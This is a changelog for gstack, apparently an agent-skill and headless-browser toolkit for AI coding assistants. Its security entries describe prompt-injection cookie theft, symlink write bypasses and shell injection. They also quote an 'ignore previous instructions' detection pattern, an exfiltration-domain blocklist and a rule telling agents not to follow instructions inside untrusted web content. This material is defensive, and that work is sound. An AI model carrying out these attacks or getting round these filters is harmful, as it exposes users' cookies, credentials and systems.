Apple Silicon no longer dies with SIGKILL on first run. ./setup now ad-hoc codesigns every compiled binary after bun run build so M-series Macs can actually execute them. If you cloned gstack and saw zsh: killed ./browse/dist/browse before getting to Day 2, this is why. Thanks to @voidborne-d (#1003) for tracking down the Bun --compile linker signature issue and shipping a tested fix (6 tests across 4 binaries, idempotent, platform-guarded).

/codex no longer hangs forever in Claude Code's Bash tool. Codex CLI 0.120.0 introduced a stdin deadlock: if stdin is a non-TTY pipe (Claude Code, CI, background bash, OpenClaw), codex exec waits for EOF to append it as a <stdin> block, even when the prompt is passed as a positional argument. Symptom: "Reading additional input from stdin...", 0% CPU, no output. Every codex exec and codex review now redirects stdin from /dev/null. /autoplan, every plan-review outside voice, /ship adversarial, and /review adversarial all unblock. Thanks to @loning (#972) for the 13-minute repro and minimal fix.

/codex and /autoplan fail fast when Codex auth is missing or broken. Before this release, a logged-out Codex user would watch the skill spend minutes building an expensive prompt only to surface the auth error mid-stream. Now both skills preflight auth via a multi-signal probe ($CODEX_API_KEY, $OPENAI_API_KEY, or ${CODEX_HOME:-~/.codex}/auth.json) and stop with a clear "run codex login or set $CODEX_API_KEY" message before any prompt construction. Bonus: if your Codex CLI is on a known-buggy version (currently 0.120.0-0.120.2), you'll get a one-line nudge to upgrade.

/codex and /autoplan no longer sit at 0% CPU forever if the model API stalls. Every codex exec / codex review now runs under a 10-minute timeout wrapper with a gtimeout → timeout → unwrapped fallback chain, so you get a clear "Codex stalled past 10 minutes. Common causes: model API stall, long prompt, network issue. Try re-running." message instead of an infinite wait. ./setup auto-installs coreutils on macOS so gtimeout is available (skip with GSTACK_SKIP_COREUTILS=1 for CI / locked machines).

/codex Challenge mode now surfaces auth errors instead of silently dropping them. Challenge mode was piping stderr to /dev/null, which masked any auth failures in the middle of a run. Now it captures stderr to a temp file and checks for auth|login|unauthorized patterns. If Codex errors mid-run, you see it.

Plan reviews no longer quietly bias toward minimal-diff recommendations. /plan-ceo-review and /plan-eng-review used to list "minimal diff" as an engineering preference without a counterbalancing "rewrite is fine when warranted" note. Reviewers picked up on that and rejected rewrites that should've been approved. The preference is now framed as "right-sized diff" with explicit permission to recommend a rewrite when the existing foundation is broken. Implementation alternatives in CEO review also got an equal-weight clarification: don't default to minimal viable just because it's smaller.

For contributors

New bin/gstack-codex-probe consolidates the auth probe, version check, timeout wrapper, and telemetry logger into one bash helper that /codex and /autoplan both source. When a second outside-voice backend lands (Gemini CLI), this is the file to extend.

New test/codex-hardening.test.ts ships 25 deterministic unit tests for the probe (8 auth probe combinations, 10 version regex cases including 0.120.10 false-positive guards, 4 timeout wrapper + namespace hygiene checks, 3 telemetry payload schema checks confirming no env values leak into events). Free tier, <5s runtime.

New test/skill-e2e-autoplan-dual-voice.test.ts (periodic tier) gates the /autoplan dual-voice path. Asserts both Claude subagent and Codex voices produce output in Phase 1, OR that [codex-unavailable] is logged when Codex is absent. Periodic ~= $1/run, not a gate.

Codex failure telemetry events (codex_timeout, codex_auth_failed, codex_cli_missing, codex_version_warning) now land in ~/.gstack/analytics/skill-usage.jsonl behind the existing user opt-in. Reliability regressions are visible at the user-base scale.

Codex timeouts (exit 124) now auto-log operational learnings via gstack-learnings-log. Future /investigate sessions on the same skill/branch surface prior hang patterns automatically.

[0.18.3.0] - 2026-04-17

Added

Windows cookie import. /setup-browser-cookies now works on Windows. Point it at Chrome, Edge, Brave, or Chromium, pick a profile, and gstack will pull your real browser cookies into the headless session. Handles AES-256-GCM (Chrome 80+), DPAPI key unwrap via PowerShell, and falls back to a headless CDP session for v20 App-Bound Encryption on Chrome 127+. Windows users can now do authenticated QA testing with /qa and /design-review for the first time.

One-command OpenCode install. ./setup --host opencode now wires up gstack skills for OpenCode the same way it does for Claude Code and Codex. No more manual workaround.

Fixed

No more permission prompts on every skill invocation. Every /browse, /qa, /qa-only, /design-review, /office-hours, /canary, /pair-agent, /benchmark, /land-and-deploy, /design-shotgun, /design-consultation, /design-html, /plan-design-review, and /open-gstack-browser invocation used to trigger Claude Code's sandbox asking about "tilde in assignment value." Replaced bare ~/ with "$HOME/..." in the browse and design resolvers plus a handful of templates that still used the old pattern. Every skill runs silently now.

Multi-step QA actually works. The $B browse server was dying between Bash tool invocations. Claude Code's sandbox kills the parent shell when a command finishes, and the server took that as a cue to shut down. Now the server persists across calls, keeping your cookies, page state, and navigation intact. Run $B goto, then $B fill, then $B click in three separate Bash calls and it just works. A 30-minute idle timeout still handles eventual cleanup. Ctrl+C and /stop still do an immediate shutdown.

Cookie picker stops stranding the UI. If the launching CLI exited mid-import, the picker page would flash Failed to fetch because the server had shut down under it. The browse server now stays alive while any picker code or session is live.

OpenClaw skills load cleanly in Codex. The 4 hand-authored ClawHub skills (ceo-review, investigate, office-hours, retro) had frontmatter with unquoted colons and non-standard version/metadata fields that stricter parsers rejected. Now they load without errors on Codex CLI and render correctly on GitHub.

For contributors

Community wave lands 6 PRs: #993 (byliu-labs), #994 (joelgreen), #996 (voidborne-d), #864 (cathrynlavery), #982 (breakneo), #892 (msr-hickory).

SIGTERM handling is now mode-aware. In normal mode the server ignores SIGTERM so Claude Code's sandbox doesn't tear it down mid-session. In headed mode (/open-gstack-browser) and tunnel mode (/pair-agent) SIGTERM still triggers a clean shutdown. those modes skip idle cleanup, so without the mode gate orphan daemons would accumulate forever. Note that v0.18.1.0 also disables the parent-PID watchdog when BROWSE_HEADED=1, so headed mode is doubly protected. Inline comments document the resolution order.

Windows v20 App-Bound Encryption CDP fallback now logs the Chrome version on entry and has an inline comment documenting the debug-port security posture (127.0.0.1-only, random port in [9222, 9321] for collision avoidance, always killed in finally).

New regression test test/openclaw-native-skills.test.ts pins OpenClaw skill frontmatter to name + description only. catches version/metadata drift at PR time.

[0.18.2.0] - 2026-04-17

Fixed

/ship stops skipping /document-release ~80% of the time. The old Step 8.5 told Claude to cat a 2500-line external skill file after the PR URL was already output, at which point the model had 500-1,750 lines of intermediate tool output in context and was at its least intelligent. Now /ship dispatches /document-release as a subagent that runs in a fresh context window, before creating the PR, so the ## Documentation section gets baked into the initial PR body instead of a create-then-re-edit dance. The result: documentation actually syncs on every ship.

Changed

/ship's 4 heaviest sub-workflows now run in isolated subagent contexts. Coverage audit (Step 7), plan completion audit (Step 8), Greptile triage (Step 10), and documentation sync (Step 18) each dispatch a subagent that gets a fresh context window. The parent only sees the conclusion (structured JSON), not the intermediate file reads. This is the pattern Anthropic's "Using Claude Code: Session Management and 1M Context" blog post recommends for fighting context rot: "Will I need this tool output again, or just the conclusion? If just the conclusion, use a subagent."

/ship step numbers are clean integers 1-20 instead of fractional (3.47, 8.5, 8.75). Fractional step numbers signaled "optional appendix" to the model and contributed to late-stage steps getting skipped. Clean integers feel mandatory. Resolver sub-steps that are genuinely nested (Plan Verification 8.1, Scope Drift 8.2, Review Army 9.1/9.2, Cross-review dedup 9.3) are preserved.

/ship now prints "You are NOT done" after push. Breaks the natural stopping point where the model was treating a pushed branch as mission-accomplished and skipping doc sync + PR creation.

For contributors

New regression guards in test/skill-validation.test.ts prevent drift back to fractional step numbers and catch cross-contamination between /ship and /review resolver conditionals.

Ship template restructure: old Step 8.5 (post-PR doc sync with cat delegation) replaced by new Step 18 (pre-PR subagent dispatch that invokes full /document-release skill with its CHANGELOG clobber protections, doc exclusions, risky-change gates, and race-safe PR body editing). Codex caught that the original plan's reimplementation dropped those protections; this version reuses the real /document-release.

[0.18.1.0] - 2026-04-16

Fixed

/open-gstack-browser actually stays open now. If you ran /open-gstack-browser or $B connect and your browser vanished roughly 15 seconds later, this was why: a watchdog inside the browse server was polling the CLI process that spawned it, and when the CLI exited (which it does, immediately, right after launching the browser), the watchdog said "orphan!" and killed everything. The fix disables that watchdog for headed mode, both in the CLI (always set BROWSE_PARENT_PID=0 for headed launches) and in the server (skip the watchdog entirely when BROWSE_HEADED=1). Two layers of defense in case a future launcher forgets to pass the env var. Thanks to @rocke2020 (#1020), @sanghyuk-seo-nexcube (#1018), @rodbland2021 (#1012), and @jbetala7 (#986) for independently diagnosing this and sending in clean, well-documented fixes.

Closing the headed browser window now cleans up properly. Before this release, clicking the X on the GStack Browser window skipped the server's cleanup routine and exited the process directly. That left behind stale sidebar-agent processes polling a dead server, unsaved chat session state, leftover Chromium profile locks (which cause "profile in use" errors on the next $B connect), and a stale browse.json state file. Now the disconnect handler routes through the full shutdown() path first, cleans everything, and then exits with code 2 (which still distinguishes user-close from crash).

CI/Claude Code Bash calls can now share a persistent headless server. The headless spawn path used to hardcode the CLI's own PID as the watchdog target, ignoring BROWSE_PARENT_PID=0 even if you set it in your environment. Now BROWSE_PARENT_PID=0 $B goto https://... keeps the server alive across short-lived CLI invocations, which is what multi-step workflows (CI matrices, Claude Code's Bash tool, cookie picker flows) actually want.

SIGTERM / SIGINT shutdown now exits with code 0 instead of 1. Regression caught during /ship's adversarial review: when shutdown() started accepting an exitCode argument, Node's signal listeners silently passed the signal name ('SIGTERM') as the exit code, which got coerced to NaN and used 1. Wrapped the listeners so they call shutdown() with no args. Your Ctrl+C now exits clean again.

For contributors

test/relink.test.ts no longer flakes under parallel test load. The 23 tests in that file each shell out to gstack-config + gstack-relink (bash subprocess work), and under bun test with other suites running, each test drifted ~200ms past Bun's 5s default. Wrapped test to default the per-test timeout to 15s with Object.assign preserving .only/.skip/.each sub-APIs.

BrowserManager gained an onDisconnect callback (wired by server.ts to shutdown(2)), replacing the direct process.exit(2) in the disconnect handler. The callback is wrapped with try/catch + Promise rejection handling so a rejecting cleanup path still exits the process instead of leaving a live server attached to a dead browser.

shutdown() now accepts an optional exitCode: number = 0 parameter, used by the disconnect path (exit 2) and the signal path (default 0). Same cleanup code, two call sites, distinct exit codes.

BROWSE_PARENT_PID parsing in cli.ts now matches server.ts: parseInt instead of strict string equality, so BROWSE_PARENT_PID=0\n (common from shell export) is honored.

[0.18.0.1] - 2026-04-16

Fixed

Windows install no longer fails with a build error. If you installed gstack on Windows (or a fresh Linux box), ./setup was dying with cannot write multiple output files without an output directory. The Windows-compat Node server bundle now builds cleanly, so /browse, /canary, /pair-agent, /open-gstack-browser, /setup-browser-cookies, and /design-review all work on Windows again. If you were stuck on gstack v0.15.11-era features without knowing it, this is why. Thanks to @tomasmontbrun-hash (#1019) and @scarson (#1013) for independently tracking this down, and to the issue reporters on #1010 and #960.

CI stops lying about green builds. The build and test scripts in package.json had a shell precedence trap where a trailing || true swallowed failures from the entire command chain, not just the cleanup step it was meant for. That's how the Windows build bug above shipped in the first place. CI ran the build, the build failed, and CI reported success anyway. Now build and test failures actually fail. Silent CI is the worst kind of CI.

/pair-agent on Windows surfaces install problems at install time, not tunnel time. ./setup now verifies Node can load @ngrok/ngrok on Windows, just like it already did for Playwright. If the native binary didn't install, you find out now instead of the first time you try to pair an agent.

For contributors

New browse/test/build.test.ts validates server-node.mjs is well-formed ES module syntax and that @ngrok/ngrok was actually externalized (not inlined). Gracefully skips when no prior build has run.

Added a policy comment in browse/scripts/build-node-server.sh explaining when and why to externalize a dependency. If you add a dep with a native addon or a dynamic await import(), the comment tells you where to plug it in.

[0.18.0.0] - 2026-04-15

Added

Confusion Protocol. Every workflow skill now has an inline ambiguity gate. When Claude hits a decision that could go two ways (which architecture? which data model? destructive operation with unclear scope?), it stops and asks instead of guessing. Scoped to high-stakes decisions only, so it doesn't slow down routine coding. Addresses Karpathy's #1 AI coding failure mode.

Hermes host support. gstack now generates skill docs for Hermes Agent with proper tool rewrites (terminal, read_file, patch, delegate_task). ./setup --host hermes prints integration instructions.

GBrain host + brain-first resolver. GBrain is a "mod" for gstack. When installed, your coding skills become brain-aware: they search your brain for relevant context before starting and save results to your brain after finishing. 10 skills are now brain-aware: /office-hours, /investigate, /plan-ceo-review, /retro, /ship, /qa, /design-review, /plan-eng-review, /cso, and /design-consultation. Compatible with GBrain >= v0.10.0.

GBrain v0.10.0 integration. Agent instructions now use gbrain search (fast keyword lookup) instead of gbrain query (expensive hybrid). Every command shows full CLI syntax with --title, --tags, and heredoc examples. Keyword extraction guidance helps agents search effectively. Entity enrichment auto-creates stub pages for people and companies mentioned in skill output. Throttle errors are named so agents can detect and handle them. A preamble health check runs gbrain doctor --fast --json at session start and names failing checks when the brain is degraded.

Skill triggers for GBrain router. All 38 skill templates now include triggers: arrays in their frontmatter, multi-word keywords like "debug this", "ship it", "brainstorm this". These power GBrain's RESOLVER.md skill router and pass checkResolvable() validation. Distinct from voice-triggers: (speech-to-text aliases).

Hermes brain support. Hermes agents with GBrain installed as a mod now get brain features automatically. The resolver fallback logic ("if GBrain is not available, proceed without") handles non-GBrain Hermes installs gracefully.

slop:diff in /review. Every code review now runs bun run slop:diff as an advisory diagnostic, catching AI code quality issues (empty catches, redundant abstractions, overcomplicated patterns) before they land. Informational only, never blocking.

Karpathy compatibility. README now positions gstack as the workflow enforcement layer for Karpathy-style CLAUDE.md rules (17K stars). Maps each failure mode to the gstack skill that addresses it.

Changed

CEO review HARD GATE reinforcement. "Do NOT make any code changes. Review only." now repeats at every STOP point (12 locations), not just the top. Prompt repetition measurably reduces the "starts implementing" failure mode.

Office-hours design doc visibility. After writing the design doc, the skill now prints the full path so downstream skills (/plan-ceo-review, /plan-eng-review) can find it.

Investigate investigation history. Each investigation now logs to the learnings system with type: "investigation" and affected file paths. Future investigations on the same files surface prior root causes automatically. Recurring bugs in the same area = architectural smell.

Retro non-git context. If ~/.gstack/retro-context.md exists, the retro now reads it for meeting notes, calendar events, and decisions that don't appear in git history.

Native OpenClaw skills improved. The 4 hand-crafted ClawHub skills (office-hours, ceo-review, investigate, retro) now mirror the template improvements above.

Host count: 8 to 10. Hermes and GBrain join Claude, Codex, Factory, Kiro, OpenCode, Slate, Cursor, and OpenClaw.

[0.17.0.0] - 2026-04-14

Added

UX behavioral foundations. Every design skill now thinks about how users actually behave, not just how the interface looks. A shared {{UX_PRINCIPLES}} resolver distills Steve Krug's "Don't Make Me Think" into actionable guidance: scanning behavior, satisficing, the goodwill reservoir, navigation wayfinding, and the trunk test. Injected into /design-html, /design-shotgun, /design-review, and /plan-design-review. Your design reviews now catch "this navigation is confusing" problems, not just "the contrast ratio is 4.3:1."

6 usability tests woven into design-review. The methodology now runs the Trunk Test (can you tell what site this is, what page you're on, and how to search?), 3-Second Scan (what do users see first?), Page Area Test (can you name each section's purpose?), Happy Talk Detection with word count (how much of this page is "blah blah blah"?), Mindless Choice Audit (does every click feel obvious?), and Goodwill Reservoir tracking with a visual dashboard (what depletes the user's patience at each step?).

First-person narration mode. Design review reports now read like a usability consultant watching someone use your site: "I'm looking at this page... my eye goes to the logo, then a wall of text I skip entirely. Wait, is that a button?" With anti-slop guardrail: if the agent can't name the specific element, it's generating platitudes.

$B ux-audit command. Standalone UX structural extraction. One command extracts site ID, navigation, headings, interactive elements, text blocks, and search presence as structured JSON. The agent applies the 6 usability tests to the data. Pure data extraction with element caps (50 headings, 100 links, 200 interactive, 50 text blocks).

snapshot -H / --heatmap flag. Color-coded overlay screenshots. Pass a JSON map of ref IDs to colors (green/yellow/red/blue/orange/gray) and get an annotated screenshot with per-element colored boxes. Color whitelist prevents CSS injection. Composable: any skill can use it.

Token ceiling enforcement. gen-skill-docs now warns if any generated SKILL.md exceeds 100KB (~25K tokens). Catches prompt bloat before it degrades agent performance.

Changed

Krug's always/never rules added to the design hard rules: never placeholder-as-label, never floating headings, always visited link distinction, never sub-16px body text. These join the existing AI slop blacklist as mechanical checks.

Plan-design-review references now include Steve Krug, Ginny Redish (Letting Go of the Words), and Caroline Jarrett (Forms that Work) alongside Rams, Norman, and Nielsen.

[0.16.4.0] - 2026-04-13

Added

Cookie origin pinning. When you import cookies for specific domains, JS execution is now blocked on pages that don't match those domains. This prevents the attack where a prompt injection navigates to an attacker's site and runs document.cookie to steal your imported cookies. Subdomain matching works automatically (importing .github.com allows api.github.com). When no cookies are imported, everything works as before. 3 PRs from @halbert04.

Command audit log. Every browse command now gets a persistent forensic trail in ~/.gstack/.browse/browse-audit.jsonl. Timestamp, command, args, page origin, duration, status, error, and whether cookies were imported. Append-only, never truncated, survives server restarts. Best-effort writes that never block command execution. From @halbert04.

Cookie domain tracking. gstack now tracks which domains cookies were imported from. Foundation for origin pinning above. Direct imports via --domain track automatically. New --all flag makes full-browser cookie import an explicit opt-in instead of the default.

Fixed

Symlink bypass in file writes. validateOutputPath only checked the parent directory for symlinks, not the file itself. A symlink at /tmp/evil.png pointing to /etc/crontab passed validation because the parent /tmp was safe. Now checks the file with lstatSync before writing. From @Hybirdss.

Cookie-import path bypass. Two issues: relative paths bypassed all validation (the path.isAbsolute() gate let sensitive-file.json through), and symlink resolution was missing (path.resolve without realpathSync). Now resolves to absolute, resolves symlinks, and checks against safe directories. From @urbantech.

Shell injection in setup scripts. gstack-settings-hook interpolated file paths directly into bun -e JavaScript blocks. A path with quotes broke the JS string context. Now uses environment variables (process.env). Systematic audit confirmed only this script was vulnerable. From @garagon.

Form field credential leak. Snapshot redaction only applied to type="password" fields. Hidden and text fields named csrf_token, api_key, session_id were exposed unredacted in LLM context. Now checks field name and id against sensitive patterns. From @garagon.

Learnings prompt injection. Three fixes: input validation (type/key/confidence allowlists), injection pattern detection in insight field (blocks "ignore previous instructions" etc.), and cross-project trust gate (only user-stated learnings cross project boundaries). From @Ziadstr.

IPv6 metadata bypass. The URL constructor normalizes ::ffff:169.254.169.254 to ::ffff:a9fe:a9fe (hex), which wasn't in the blocklist. Added both hex-encoded forms. From @mehmoodosman.

Session files world-readable. Design session files in /tmp were created with default permissions (0644). Now 0600 (owner-only). From @garagon.

Frozen lockfile in setup. bun install now uses --frozen-lockfile to prevent supply chain attacks via floating semver ranges. From @halbert04.

Dockerfile chmod fix. Removed duplicate recursive chmod -R 1777 /tmp (recursive sticky bit on files has no defined behavior). From @Gonzih.

Hardcoded /tmp in cookie import. cookie-import-browser used /tmp directly instead of os.tmpdir(), breaking Windows support.

Security

Closed 14 security issues (#665-#675, #566, #479, #467, #545) that were fixed in prior waves but still open on GitHub.

Closed 17 community security PRs with thank-you messages and commit references.

Security wave 3: 12 fixes, 7 contributors. Big thanks to @Hybirdss, @urbantech, @garagon, @Ziadstr, @halbert04, @mehmoodosman, @Gonzih.

[0.16.3.0] - 2026-04-09

Changed

AI slop cleanup. Ran slop-scan and dropped from 100 findings (2.38 score/file) to 90 findings (1.96 score/file). The good part: safeUnlink() and safeKill() utilities that catch real bugs (swallowed EPERM in shutdown was a silent data loss risk). safeUnlinkQuiet() for cleanup paths where throwing is worse than swallowing. isProcessAlive() extracted to a shared module with Windows support. Redundant return await removed. Typed exception catches (TypeError, DOMException, ENOENT) replace empty catches in system boundary code. The part we tried and reverted: string-matching on error messages was brittle, extension catch-and-log was correct as-is, pass-through wrapper comments were linter gaming. We are AI-coded and proud of it. The goal is code quality, not hiding.

Added

bun run slop:diff shows only NEW slop-scan findings introduced on your branch vs main. Line-number-insensitive comparison so shifted code doesn't create false positives. Runs automatically after bun test.

Slop-scan usage guidelines in CLAUDE.md: what to fix (genuine quality) vs what NOT to fix (linter gaming). Includes utility function reference table.

Design doc for future slop-scan integration in /review and /ship skills (docs/designs/SLOP_SCAN_FOR_REVIEW_SHIP.md).

[0.16.2.0] - 2026-04-09

Added

Office hours now remembers you. The closing experience adapts based on how many sessions you've done. First time: full YC plea and founder resources. Sessions 2-3: "Welcome back. Last time you were working on [your project]. How's it going?" Sessions 4-7: arc-level callbacks across your whole journey, accumulated signal visibility, and an auto-generated Builder Journey narrative. Sessions 8+: the data speaks for itself.

Builder profile tracks your office hours journey in a single append-only session log. Signals, design docs, assignments, topics, and resources shown, all in one file. No split-brain state, no separate config keys.

Builder-to-founder nudge for repeat builder-mode users who accumulate founder signals. Evidence-gated: only triggers when you've shown 5+ signals across 3+ builder sessions. Not a pitch. An observation.

Journey-matched resources. Instead of category-matching from the static pool, resources now match your accumulated session context. "You've been iterating on a fintech idea for 3 sessions... Tom Blomfield built Monzo from exactly this kind of persistence."

Builder Journey Summary auto-generates at session 5+ and opens in your browser. A narrative arc of your journey, not a data table. Written in second person, referencing specific things you said across sessions.

Global resource dedup. Resource links now dedup globally (not per-project), so switching repos doesn't reset your watch history. Each link shows only once, ever.

Fixed

package.json version now stays in sync with VERSION file.

[0.16.1.0] - 2026-04-08

Fixed

Cookie picker no longer leaks the browse server auth token. Previously, opening the cookie picker page exposed the master bearer token in the HTML source, letting any local process extract it and execute arbitrary JavaScript in your browser session. Now uses a one-time code exchange with an HttpOnly session cookie. The token never appears in HTML, URLs, or browser history. (Reported by Horoshi at Vagabond Research, CVSS 7.8)

[0.16.0.0] - 2026-04-07

Added

Browser data platform. Six new browse commands that turn gstack browser from "a thing that clicks buttons" into a full scraping and data extraction tool for AI agents.

media command: discover every image, video, and audio element on a page. Returns URLs, dimensions, srcset, lazy-load state, and detects HLS/DASH streams. Filter with --images, --videos, --audio, or scope with a CSS selector.

data command: extract structured data embedded in pages. JSON-LD (product prices, recipes, events), Open Graph, Twitter Cards, and meta tags. One command gives you what used to take 50 lines of DOM scraping.

download command: fetch any URL or @ref element to disk using the browser's session cookies. Handles blob URLs via in-page base64 conversion. --base64 flag returns inline data URI for remote agents. Detects HLS/DASH and tells you to use yt-dlp instead of silently failing.

scrape command: bulk download all media from a page. Combines media discovery + download in a loop with URL deduplication, configurable limits, and a manifest.json for machine consumption.

archive command: save complete pages as MHTML via CDP. One command, full page with all resources.

scroll --times N: automated repeated scrolling for infinite feed content loading. Configurable delay between scrolls with --wait.

screenshot --base64: return screenshots as inline data URIs instead of file paths. Eliminates the two-step screenshot-then-file-serve dance for remote agents.

Network response body capture. network --capture intercepts API response bodies so agents get structured JSON instead of fragile DOM scraping. Filter by URL pattern (--filter graphql), export as JSONL (--export), view summary (--bodies). 50MB size-capped buffer with automatic eviction.

GET /file endpoint: remote paired agents can now retrieve downloaded files (images, scraped media, screenshots) over HTTP. TEMP_DIR only to prevent project file exfiltration. Bearer token auth, MIME detection, zero-copy streaming via Bun.file().

Changed

Paired agents now get full access by default (read+write+admin+meta). The trust boundary is the pairing ceremony, not the scope. An agent that can click any button doesn't gain meaningful attack surface from also being able to run js. Browser-wide destructive commands (stop, restart, disconnect) moved to new control scope, still opt-in via --control.

Path validation extracted to shared path-security.ts module. Was duplicated across three files with slightly different implementations. Now one source of truth with validateOutputPath, validateReadPath, and validateTempPath.

[0.15.16.0] - 2026-04-06

Added

Per-tab state isolation via TabSession. Each browser tab now has its own ref map, snapshot baseline, and frame context. Previously these were global on BrowserManager, meaning snapshot refs from one tab could collide with another. This is the foundation for parallel multi-tab operations.

Batch endpoint documentation in BROWSER.md with API shape, design decisions, and usage patterns.

Changed

Handler signatures across read-commands, write-commands, meta-commands, and snapshot now accept TabSession for per-tab operations and BrowserManager for global operations. This separation makes it explicit which operations are tab-scoped vs browser-scoped.

Fixed

codex-review E2E test was copying the full 55KB SKILL.md (1,075 lines), burning 8 Read calls just to consume it and exhausting the 15-turn budget before reaching the actual review. Now extracts only the review-relevant section (~6KB/148 lines), cutting Read calls from 8 to 1. Test goes from perpetual timeout to passing in 141s.

[0.15.15.1] - 2026-04-06

Fixed

pair-agent tunnel drops after 15 seconds. The browse server was monitoring its parent process ID and self-terminating when the CLI exited. Now pair-agent sessions disable the parent watchdog so the server and tunnel stay alive.

$B connect crashes with "domains is not defined". A stray variable reference in the headed-mode status check prevented GStack Browser from initializing properly.

[0.15.15.0] - 2026-04-06

Community security wave: 8 PRs from 4 contributors, every fix credited as co-author.

Added

Cookie value redaction for tokens, API keys, JWTs, and session secrets in browse cookies output. Your secrets no longer appear in Claude's context.

IPv6 ULA prefix blocking (fc00::/7) in URL validation. Covers the full unique-local range, not just the literal fd00::. Hostnames like fcustomer.com are not false-positived.

Per-tab cancel signaling for sidebar agents. Stopping one tab's agent no longer kills all tabs.

Parent process watchdog for the browse server. When Claude Code exits, orphaned browser processes now self-terminate within 15 seconds.

Uninstall instructions in README (script + manual removal steps).

CSS value validation blocks url(), expression(), @import, javascript:, and data: in style commands, preventing CSS injection attacks.

Queue entry schema validation (isValidQueueEntry) with path traversal checks on stateFile and cwd.

Viewport dimension clamping (1-16384) and wait timeout clamping (1s-300s) prevent OOM and runaway waits.

Cookie domain validation in cookie-import prevents cross-site cookie injection.

DocumentFragment-based tab switching in sidebar (replaces innerHTML round-trip XSS vector).

pollInProgress reentrancy guard prevents concurrent chat polls from corrupting state.

750+ lines of new security regression tests across 4 test files.

Supabase migration 003: column-level GRANT restricts anon UPDATE to (last_seen, gstack_version, os) only.

Fixed

Windows: extraEnv now passes through to the Windows launcher (was silently dropped).

Windows: welcome page serves inline HTML instead of about:blank redirect (fixes ERR_UNSAFE_REDIRECT).

Headed mode: auth token returned even without Origin header (fixes Playwright Chromium extensions).

frame --url now escapes user input before constructing RegExp (ReDoS fix).

Annotated screenshot path validation now resolves symlinks (was bypassable via symlink traversal).

Auth token removed from health broadcast, delivered via targeted getToken handler instead.

/health endpoint no longer exposes currentUrl or currentMessage.

Session ID validated before use in file paths (prevents path traversal via crafted active.json).

SIGTERM/SIGKILL escalation in sidebar agent timeout handler (was bare kill()).

For contributors

Queue files created with 0o700/0o600 permissions (server, CLI, sidebar-agent).

escapeRegExp utility exported from meta-commands.

State load filters cookies from localhost, .internal, and metadata domains.

Telemetry sync logs upsert errors from installation tracking.

[0.15.14.0] - 2026-04-05

Fixed

gstack-team-init now detects and removes vendored gstack copies. When you run gstack-team-init inside a repo that has gstack vendored at .claude/skills/gstack/, it automatically removes the vendored copy, untracks it from git, and adds it to .gitignore. No more stale vendored copies shadowing the global install.

/gstack-upgrade respects team mode. Step 4.5 now checks the team_mode config. In team mode, vendored copies are removed instead of synced, since the global install is the single source of truth.

team_mode config key. ./setup --team and ./setup --no-team now set a dedicated team_mode config key so the upgrade skill can reliably distinguish team mode from just having auto-upgrade enabled.

[0.15.13.0] - 2026-04-04. Team Mode

Teams can now keep every developer on the same gstack version automatically. No more vendoring 342 files into your repo. No more version drift across branches. No more "who upgraded gstack last?" Slack threads. One command, every developer is current.

Hat tip to Jared Friedman for the design.

Added

./setup --team. Registers a SessionStart hook in ~/.claude/settings.json that auto-updates gstack at the start of each Claude Code session. Runs in background (zero latency), throttled to once/hour, network-failure-safe, completely silent. ./setup --no-team reverses it.

./setup -q / --quiet. Suppresses all informational output. Used by the session-update hook but also useful for CI and scripted installs.

gstack-team-init command. Generates repo-level bootstrap files in two flavors: optional (gentle CLAUDE.md suggestion, one-time offer per developer) or required (CLAUDE.md enforcement + PreToolUse hook that blocks work without gstack installed).

gstack-settings-hook helper. DRY utility for adding/removing hooks in Claude Code's settings.json. Atomic writes (.tmp + rename) prevent corruption.

gstack-session-update script. The SessionStart hook target. Background fork, PID-based lockfile with stale recovery, GIT_TERMINAL_PROMPT=0 to prevent credential prompt hangs, debug log at ~/.gstack/analytics/session-update.log.

Vendoring deprecation in preamble. Every skill now detects vendored gstack copies in the project and offers one-time migration to team mode. "Want me to do it for you?" beats "here are 4 manual steps."

Changed

Vendoring is deprecated. README no longer recommends copying gstack into your repo. Global install + --team is the way. --local flag still works but prints a deprecation warning.

Uninstall cleans up hooks. gstack-uninstall now removes the SessionStart hook from ~/.claude/settings.json.

[0.15.12.0] - 2026-04-05. Content Security: 4-Layer Prompt Injection Defense

When you share your browser with another AI agent via /pair-agent, that agent reads web pages. Web pages can contain prompt injection attacks. Hidden text, fake system messages, social engineering in product reviews. This release adds four layers of defense so remote agents can safely browse untrusted sites without being tricked.

Added

Content envelope wrapping. Every page read by a scoped agent is wrapped in ═══ BEGIN UNTRUSTED WEB CONTENT ═══ / ═══ END UNTRUSTED WEB CONTENT ═══ markers. The agent's instruction block tells it to never follow instructions found inside these markers. Envelope markers in page content are escaped with zero-width spaces to prevent boundary escape attacks.

Hidden element stripping. CSS-hidden elements (opacity < 0.1, font-size < 1px, off-screen positioning, same fg/bg color, clip-path, visibility:hidden) and ARIA label injections are detected and stripped from text output. The page DOM is never mutated. Uses clone + remove for text extraction, CSS injection for snapshots.

Datamarking. Text command output gets a session-scoped watermark (4-char random marker inserted as zero-width characters). If the content appears somewhere it shouldn't, the marker traces back to the session. Only applied to text command, not structured data like html or forms.

Content filter hooks. Extensible filter pipeline with BROWSE_CONTENT_FILTER env var (off/warn/block, default: warn). Built-in URL blocklist catches requestbin, pipedream, webhook.site, and other known exfiltration domains. Register custom filters for your own rules.

Snapshot split format. Scoped tokens get a split snapshot: trusted @ref labels (for click/fill) above the untrusted content envelope. The agent knows which refs are safe to use and which content is untrusted. Root tokens unchanged.

SECURITY section in instruction block. Remote agents now receive explicit warnings about prompt injection, with a list of common injection phrases and guidance to only use @refs from the trusted section.

47 content security tests. Covers all four layers plus chain security, envelope escaping, ARIA injection detection, false positive checks, and combined attack scenarios. Four injection fixture HTML pages for testing.

Changed

handleCommand refactored into handleCommandInternal (returns structured result) + thin HTTP wrapper. Chain subcommands now route through the full security pipeline (scope, domain, tab ownership, content wrapping) instead of bypassing it.

attrs added to PAGE_CONTENT_COMMANDS (ARIA attribute values are now wrapped as untrusted content).

Content wrapping centralized in one location in handleCommandInternal response path. Was fragmented across 6 call sites.

Fixed

snapshot -i now auto-includes cursor-interactive elements (dropdown items, popover options, custom listboxes). Previously you had to remember to pass -C separately.

Snapshot correctly captures items inside floating containers (React portals, Radix Popover, Floating UI) even when they have ARIA roles.

Dropdown/menu items with role="option" or role="menuitem" inside popovers are now captured and tagged with popover-child.

Chain commands now check domain restrictions on newtab (was only checking goto).

Nested chain commands rejected (recursion guard prevents chain-within-chain).

Rate limiting exemption for chain subcommands (chain counts as 1 request, not N).

Tunnel liveness verification: /pair-agent now probes the tunnel before using it, preventing dead tunnel URLs from reaching remote agents.

/health serves auth token on localhost for extension authentication (stripped when tunneled).

